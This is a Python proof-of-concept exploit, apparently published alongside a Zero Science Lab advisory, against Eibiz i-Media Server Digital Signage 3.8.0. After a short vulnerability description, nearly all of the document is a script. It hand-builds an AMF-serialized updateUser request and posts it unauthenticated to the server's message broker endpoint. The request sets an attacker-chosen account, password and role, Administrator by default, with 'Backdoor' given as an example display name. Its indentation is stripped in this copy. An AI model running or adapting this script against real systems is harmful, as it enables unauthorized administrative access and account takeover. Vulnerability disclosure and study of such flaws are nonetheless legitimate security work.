Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover

`#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
#  
#  
# Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover  
#  
#  
# Vendor: EIBIZ Co.,Ltd.  
# Product web page: http://www.eibiz.co.th  
# Affected version: <=3.8.0  
#  
# Summary: EIBIZ develop advertising platform for out of home media in that  
# time the world called "Digital Signage". Because most business customers  
# still need get outside to get in touch which products and services. Online  
# media alone cannot serve them right place, right time.  
#  
# Desc: The application suffers from an unauthenticated remote privilege escalation  
# and account takeover vulnerability that can be triggered by directly calling the  
# updateUser object (part of ActionScript object graphs), effectively elevating to  
# an administrative role or taking over an existing account by modifying the settings.  
#  
# Tested on: Windows Server 2016  
# Windows Server 2012 R2  
# Windows Server 2008 R2  
# Apache Flex  
# Apache Tomcat/6.0.14  
# Apache-Coyote/1.1  
# BlazeDS Application  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2020-5584  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5584.php  
#  
#  
# 26.07.2020  
#  
#  
  
  
import requests  
import sys#####|  
import re##### |  
############# |  
############ |  
########### |  
########## |  
######### |  
######## |  
####### |  
###### |  
##### |  
#PoC |  
### |  
## |  
# |  
class Escalada:  
  
def __init__(self):  
self.session = "11111111112222222222333333333344"  
self.agent = "DigitalSigner/25.1"  
self.display = "Intruder Alert"  
self.ep = "/messagebroker/amf"  
self.suprole = "Designer"  
self.serialize = None  
self.address = None  
self.usrname = None  
self.passwrd = None  
self.headers = None  
  
def usage(self):  
if len(sys.argv) < 5:  
print("i-Media Server Digital Signage 3.8.0 Privilege Escalation")  
print("Usage: ./poc.py [ip] [username] [password] [displayname] [role]")  
print("Example: ./poc.py 192.168.1.1 testingus 111111 Backdoor Administrator")  
exit(21)  
else:  
self.address = sys.argv[1]  
self.usrname = sys.argv[2]  
self.passwrd = sys.argv[3]  
self.display = sys.argv[4]  
self.suprole = (bytes("Administrator".encode("utf-8")) if len(sys.argv) < 6 else sys.argv[5])  
#__  
# | Administrator __  
# | Designer __  
# | Reporter __  
# | Approver  
if not "http" in self.address:  
self.address = "http://{}".format(self.address)  
  
def amf(self):  
self.cookies = {"JSESSIONID" : self.session} # not really needed  
self.headers = {"User-Agent" : self.agent,  
"Accept" : "*/*",  
"Accept-Language" : "en-US,en;q=0.5",  
"Accept-Encoding" : "gzip, deflate",  
"Origin" : self.address,  
"Connection" : "close",  
"Referer" : self.address + "/main.swf",  
"Content-Type" : "application/x-amf"}  
  
self.serialize = b"\x00\x03\x00\x00\x00\x01\x00\x04\x6E\x75\x6C\x6C"  
self.serialize += b"\x00\x03\x2F\x35\x38\x00\x00\x01\xFE\x0A\x00\x00"  
self.serialize += b"\x00\x01\x11\x0A\x81\x13\x4F\x66\x6C\x65\x78\x2E"  
self.serialize += b"\x6D\x65\x73\x73\x61\x67\x69\x6E\x67\x2E\x6D\x65"  
self.serialize += b"\x73\x73\x61\x67\x65\x73\x2E\x52\x65\x6D\x6F\x74"  
self.serialize += b"\x69\x6E\x67\x4D\x65\x73\x73\x61\x67\x65\x0D\x73"  
self.serialize += b"\x6F\x75\x72\x63\x65\x13\x6F\x70\x65\x72\x61\x74"  
self.serialize += b"\x69\x6F\x6E\x13\x6D\x65\x73\x73\x61\x67\x65\x49"  
self.serialize += b"\x64\x13\x74\x69\x6D\x65\x73\x74\x61\x6D\x70\x09"  
self.serialize += b"\x62\x6F\x64\x79\x11\x63\x6C\x69\x65\x6E\x74\x49"  
self.serialize += b"\x64\x17\x64\x65\x73\x74\x69\x6E\x61\x74\x69\x6F"  
self.serialize += b"\x6E\x15\x74\x69\x6D\x65\x54\x6F\x4C\x69\x76\x65"  
self.serialize += b"\x0F\x68\x65\x61\x64\x65\x72\x73\x01\x06\x15\x75"  
self.serialize += b"\x70\x64\x61\x74\x65\x55\x73\x65\x72\x06\x49\x31"  
self.serialize += b"\x42\x38\x39\x37\x41\x38\x36\x2D\x37\x33\x42\x45"  
self.serialize += b"\x2D\x30\x35\x42\x31\x2D\x43\x45\x42\x33\x2D\x41"  
self.serialize += b"\x30\x35\x35\x30\x39\x36\x34\x31\x31\x34\x34\x04"  
self.serialize += b"\x00\x09\x05\x01\x0A\x81\x73\x1B\x64\x73\x2E\x6D"  
self.serialize += b"\x6F\x64\x65\x6C\x2E\x55\x73\x65\x72\x11\x70\x61"  
self.serialize += b"\x73\x73\x77\x6F\x72\x64\x0D\x63\x72\x65\x61\x74"  
self.serialize += b"\x65\x07\x74\x65\x6C\x07\x66\x61\x78\x09\x6E\x61"  
self.serialize += b"\x6D\x65\x0F\x61\x64\x64\x72\x65\x73\x73\x0D\x75"  
self.serialize += b"\x70\x64\x61\x74\x65\x05\x69\x64\x0D\x6D\x6F\x62"  
self.serialize += b"\x69\x6C\x65\x0F\x75\x44\x65\x6C\x65\x74\x65\x15"  
self.serialize += b"\x64\x65\x70\x61\x72\x74\x6D\x65\x6E\x74\x09\x72"  
self.serialize += b"\x6F\x6C\x65\x09\x72\x65\x61\x64\x0B\x65\x6D\x61"  
self.serialize += b"\x69\x6C\x0F\x63\x6F\x6D\x70\x61\x6E\x79\x06" #-"  
  
self.bytecount = len(self.passwrd * 2) + 1  
self.bytesdata = [self.bytecount]  
self.serialize += "".join(map(chr, self.bytesdata))  
  
self.serialize += (bytes(self.passwrd.encode("utf-8"))) #-----------"  
self.serialize += b"\x03\x06\x19\x31\x31\x31\x2D\x32\x32\x32\x2D\x33"  
self.serialize += b"\x33\x33\x33\x06\x19\x33\x33\x33\x2D\x32\x32\x32"  
self.serialize += b"\x2D\x31\x31\x31\x31\x06" #---------------------"  
  
self.bytecount = len(self.display * 2) + 1  
self.bytesdata = [self.bytecount]  
self.serialize += "".join(map(chr, self.bytesdata))  
  
self.serialize += (bytes(self.display.encode("utf-8"))) #-----------"  
self.serialize += b"\x06\x1F\x49\x6D\x61\x67\x69\x6E\x61\x72\x79\x53"  
self.serialize += b"\x74\x72\x65\x65\x74\x03\x06" #-----------------"  
  
self.bytecount = len(self.usrname * 2) + 1  
self.bytesdata = [self.bytecount]  
self.serialize += "".join(map(chr, self.bytesdata))  
  
self.serialize += (bytes(self.usrname.encode("utf-8"))) #-----------"  
self.serialize += b"\x06\x01\x03\x06\x11\x53\x65\x63\x75\x72\x69\x74"  
self.serialize += b"\x79\x06" #-------------------------------------"  
  
self.bytecount = len(self.suprole * 2) + 1  
self.bytesdata = [self.bytecount]  
self.serialize += "".join(map(chr, self.bytesdata))  
  
self.serialize += (bytes(self.suprole.encode("utf-8"))) #-----------"  
self.serialize += b"\x03\x06\x15\x7A\x73\x6C\x40\x77\x68\x61\x2E\x62"  
self.serialize += b"\x61\x06\x07\x5A\x53\x4C\x06\x42\x01\x06\x17\x75"  
self.serialize += b"\x73\x65\x72\x53\x65\x72\x76\x69\x63\x65\x04\x00"  
self.serialize += b"\x0A\x0B\x01\x09\x44\x53\x49\x64\x06\x49\x34\x41"  
self.serialize += b"\x35\x46\x33\x33\x43\x33\x2D\x37\x31\x31\x46\x2D"  
self.serialize += b"\x35\x38\x45\x38\x2D\x39\x30\x35\x30\x2D\x39\x35"  
self.serialize += b"\x44\x31\x30\x30\x46\x33\x44\x45\x33\x45\x15\x44"  
self.serialize += b"\x53\x45\x6E\x64\x70\x6F\x69\x6E\x74\x06\x0D\x6D"  
self.serialize += b"\x79\x2D\x61\x6D\x66\x01" #---------------------"  
  
print("First try...")  
req = requests.post(self.address + self.ep, headers=self.headers, cookies=self.cookies, data=self.serialize)  
#print(req.text.encode("utf-8"))  
if "Detected duplicate HTTP-based FlexSessions" in req.text:  
print("Second try...")  
req = requests.post(self.address + self.ep, headers=self.headers, cookies=self.cookies, data=self.serialize)  
#print(req.text.encode("utf-8"))  
if "AcknowledgeMessage" in req.text:  
print("You are " + self.suprole + " now!")  
else:  
print("Didn't work.")  
exit(0)  
else:  
print("Try again!")  
  
def main(self):  
self.usage()  
self.amf()  
  
if __name__ == '__main__':  
Escalada().main()  
`